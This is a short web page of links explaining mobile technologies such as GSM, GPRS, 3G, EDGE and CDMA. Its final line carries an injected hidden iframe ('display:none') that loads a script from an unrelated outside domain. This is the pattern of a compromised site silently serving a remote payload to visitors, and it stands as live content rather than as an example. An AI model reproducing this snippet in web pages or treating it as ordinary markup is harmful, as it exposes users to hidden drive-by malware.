These are links with explanations of these different technologies.

GSM
GSM World - What is GSM?
An Overview of GSM System

GPRS
Infosync GPRS Article
GSM World Article - What is GPRS?

3G
Infosync 3G Article

TDMA
Infosync TDMA Article

EDGE
Infosync EDGE Article
Ericsson - What is Edge?

CDMA
Infosync CDMA Article

CDMA2000
Infosync CDMA200 Article

MMS
GSM World - What is MMS?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>